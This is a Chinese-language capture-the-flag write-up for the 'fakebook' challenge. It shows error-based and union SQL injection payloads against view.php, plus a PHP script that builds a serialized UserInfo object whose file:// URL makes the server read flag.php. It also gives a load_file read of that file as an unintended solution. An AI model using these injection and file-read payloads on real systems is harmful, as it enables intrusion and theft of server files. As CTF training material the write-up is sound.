网鼎杯fakebook
- 可以扫到robots.txt, login.php, flag.php
- robots.txt 中发现一个user.php.bak,代码如下
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怀疑博客地址那里可以ssrf
预期解
- view.php存在报错注入
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view.php?no=1 and updatexml(1,concat(1,(SELECT database())),1) #
- 可以发现users表中存储了UserInfo类反序列化后的结果
- 利用union联合注入使得查询到的语句是我们想要的反序列化值,在博客地址那里构造file协议读取flag.php
- 得到反序列化值:
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class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
$a = new UserInfo('fuck','0','file:///var/www/html/flag.php');
echo serialize($a); - 联合注入查看源代码得到base64编码的flag.php
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view.php?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"fuck";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' #
非预期解
- 直接去读flag.php
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view.php?no=1 and updatexml(1,concat(1,(SELECT load_file('/var/www/html/flag.php'))),1) #
- updatexml有长度限制,可以用substring分批读取,即可读到flag
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view.php?no=1 and updatexml(1,concat(1,(SELECT substring(load_file('/var/www/html/flag.php'),10,30))),1) #